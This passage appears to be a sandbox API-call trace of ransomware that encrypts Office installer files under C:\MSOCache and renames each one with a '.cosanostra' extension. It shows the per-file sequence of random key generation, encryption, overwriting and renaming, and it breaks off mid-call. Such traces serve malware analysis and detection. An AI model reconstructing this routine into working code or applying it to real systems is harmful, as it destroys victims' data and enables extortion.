1 [0108.481] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.481] WriteFile (in: hFile=0x110, lpBuffer=0x251ec54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ec14, lpOverlapped=0x0 | out: lpBuffer=0x251ec54*, lpNumberOfBytesWritten=0x251ec14*=0x4, lpOverlapped=0x0) returned 1 [0108.525] WriteFile (in: hFile=0x110, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ec14, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ec14*=0x30, lpOverlapped=0x0) returned 1 [0108.525] CloseHandle (hObject=0x110) returned 1 [0108.526] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.cosanostra") returned 100 [0108.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.cosanostra")) returned 1 [0108.526] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec58 | out: pbBuffer=0x251ec58) returned 1 [0108.527] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec50*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec50*=0x30) returned 1 [0108.527] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0108.529] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 93 [0108.529] StrStrW (lpFirst="AccessMUI.msi", lpSrch=".txt") returned 0x0 [0108.531] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.531] WriteFile (in: hFile=0x110, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ec14, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ec14*=0x2800, lpOverlapped=0x0) returned 1 [0108.531] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.531] WriteFile (in: hFile=0x110, lpBuffer=0x251ec54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ec14, lpOverlapped=0x0 | out: lpBuffer=0x251ec54*, lpNumberOfBytesWritten=0x251ec14*=0x4, lpOverlapped=0x0) returned 1 [0109.177] WriteFile (in: hFile=0x110, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ec14, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ec14*=0x30, lpOverlapped=0x0) returned 1 [0109.178] CloseHandle (hObject=0x110) returned 1 [0109.178] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.cosanostra") returned 104 [0109.178] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.cosanostra")) returned 1 [0109.179] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec50 | out: pbBuffer=0x251ec50) returned 1 [0109.179] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec48*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec48*=0x30) returned 1 [0109.179] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0109.193] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 82 [0109.193] StrStrW (lpFirst="InfoPathMUI.msi", lpSrch=".txt") returned 0x0 [0109.195] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.195] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ec0c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ec0c*=0x2800, lpOverlapped=0x0) returned 1 [0109.195] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.196] WriteFile (in: hFile=0x138, lpBuffer=0x251ec4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ec0c, lpOverlapped=0x0 | out: lpBuffer=0x251ec4c*, lpNumberOfBytesWritten=0x251ec0c*=0x4, lpOverlapped=0x0) returned 1 [0109.197] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ec0c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ec0c*=0x30, lpOverlapped=0x0) returned 1 [0109.197] CloseHandle (hObject=0x138) returned 1 [0109.229] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.cosanostra") returned 93 [0109.229] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.cosanostra")) returned 1 [0109.230] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec50 | out: pbBuffer=0x251ec50) returned 1 [0109.230] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec48*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec48*=0x30) returned 1 [0109.230] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.231] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec48 | out: pbBuffer=0x251ec48) returned 1 [0109.231] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec40*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec40*=0x30) returned 1 [0109.231] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.233] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec40 | out: pbBuffer=0x251ec40) returned 1 [0109.233] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec38*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec38*=0x30) returned 1 [0109.233] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0109.234] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0109.234] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0109.365] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff6c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.365] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x93a, lpNumberOfBytesWritten=0x251ebfc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ebfc*=0x93a, lpOverlapped=0x0) returned 1 [0109.365] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.365] WriteFile (in: hFile=0x138, lpBuffer=0x251ec3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ebfc, lpOverlapped=0x0 | out: lpBuffer=0x251ec3c*, lpNumberOfBytesWritten=0x251ebfc*=0x4, lpOverlapped=0x0) returned 1 [0109.365] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ebfc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ebfc*=0x30, lpOverlapped=0x0) returned 1 [0109.365] CloseHandle (hObject=0x138) returned 1 [0109.365] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0109.365] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0109.367] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec40 | out: pbBuffer=0x251ec40) returned 1 [0109.367] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec38*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec38*=0x30) returned 1 [0109.367] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0109.367] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 79 [0109.367] StrStrW (lpFirst="Proofing.xml", lpSrch=".txt") returned 0x0 [0109.439] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffcd5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.439] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x32b, lpNumberOfBytesWritten=0x251ebfc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ebfc*=0x32b, lpOverlapped=0x0) returned 1 [0109.440] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.440] WriteFile (in: hFile=0x138, lpBuffer=0x251ec3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ebfc, lpOverlapped=0x0 | out: lpBuffer=0x251ec3c*, lpNumberOfBytesWritten=0x251ebfc*=0x4, lpOverlapped=0x0) returned 1 [0109.440] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ebfc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ebfc*=0x30, lpOverlapped=0x0) returned 1 [0109.440] CloseHandle (hObject=0x138) returned 1 [0109.440] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.cosanostra") returned 90 [0109.440] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.cosanostra")) returned 1 [0109.441] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec38 | out: pbBuffer=0x251ec38) returned 1 [0109.442] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec30*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec30*=0x30) returned 1 [0109.442] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0109.442] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 79 [0109.442] StrStrW (lpFirst="Proofing.msi", lpSrch=".txt") returned 0x0 [0109.444] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.444] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ebf4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ebf4*=0x2800, lpOverlapped=0x0) returned 1 [0109.444] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.444] WriteFile (in: hFile=0x138, lpBuffer=0x251ec34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ebf4, lpOverlapped=0x0 | out: lpBuffer=0x251ec34*, lpNumberOfBytesWritten=0x251ebf4*=0x4, lpOverlapped=0x0) returned 1 [0109.469] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ebf4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ebf4*=0x30, lpOverlapped=0x0) returned 1 [0109.469] CloseHandle (hObject=0x138) returned 1 [0109.470] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.cosanostra") returned 90 [0109.470] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.cosanostra")) returned 1 [0109.472] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec30 | out: pbBuffer=0x251ec30) returned 1 [0109.472] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec28*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec28*=0x30) returned 1 [0109.472] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0109.473] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 85 [0109.473] StrStrW (lpFirst="Proof.xml", lpSrch=".txt") returned 0x0 [0109.498] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffa4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.499] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x5b2, lpNumberOfBytesWritten=0x251ebec, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ebec*=0x5b2, lpOverlapped=0x0) returned 1 [0109.499] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.499] WriteFile (in: hFile=0x138, lpBuffer=0x251ec2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ebec, lpOverlapped=0x0 | out: lpBuffer=0x251ec2c*, lpNumberOfBytesWritten=0x251ebec*=0x4, lpOverlapped=0x0) returned 1 [0109.499] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ebec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ebec*=0x30, lpOverlapped=0x0) returned 1 [0109.502] CloseHandle (hObject=0x138) returned 1 [0109.502] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.cosanostra") returned 96 [0109.502] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.cosanostra")) returned 1 [0109.601] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec30 | out: pbBuffer=0x251ec30) returned 1 [0109.601] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec28*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec28*=0x30) returned 1 [0109.601] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0109.602] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 85 [0109.602] StrStrW (lpFirst="Proof.msi", lpSrch=".txt") returned 0x0 [0109.709] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.709] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ebec, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ebec*=0x2800, lpOverlapped=0x0) returned 1 [0109.709] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.709] WriteFile (in: hFile=0x138, lpBuffer=0x251ec2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ebec, lpOverlapped=0x0 | out: lpBuffer=0x251ec2c*, lpNumberOfBytesWritten=0x251ebec*=0x4, lpOverlapped=0x0) returned 1 [0109.838] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ebec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ebec*=0x30, lpOverlapped=0x0) returned 1 [0109.839] CloseHandle (hObject=0x138) returned 1 [0109.840] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.cosanostra") returned 96 [0109.840] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.cosanostra")) returned 1 [0109.849] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec28 | out: pbBuffer=0x251ec28) returned 1 [0109.849] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec20*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec20*=0x30) returned 1 [0109.849] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0109.850] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 85 [0109.850] StrStrW (lpFirst="Proof.xml", lpSrch=".txt") returned 0x0 [0110.142] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffa4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.142] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x251ebe4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ebe4*=0x5b1, lpOverlapped=0x0) returned 1 [0110.142] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.143] WriteFile (in: hFile=0x138, lpBuffer=0x251ec24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ebe4, lpOverlapped=0x0 | out: lpBuffer=0x251ec24*, lpNumberOfBytesWritten=0x251ebe4*=0x4, lpOverlapped=0x0) returned 1 [0110.144] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ebe4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ebe4*=0x30, lpOverlapped=0x0) returned 1 [0110.144] CloseHandle (hObject=0x138) returned 1 [0110.144] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.cosanostra") returned 96 [0110.144] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.cosanostra")) returned 1 [0110.151] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec20 | out: pbBuffer=0x251ec20) returned 1 [0110.151] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec18*=0x20, dwBufLen=0x30 | out: 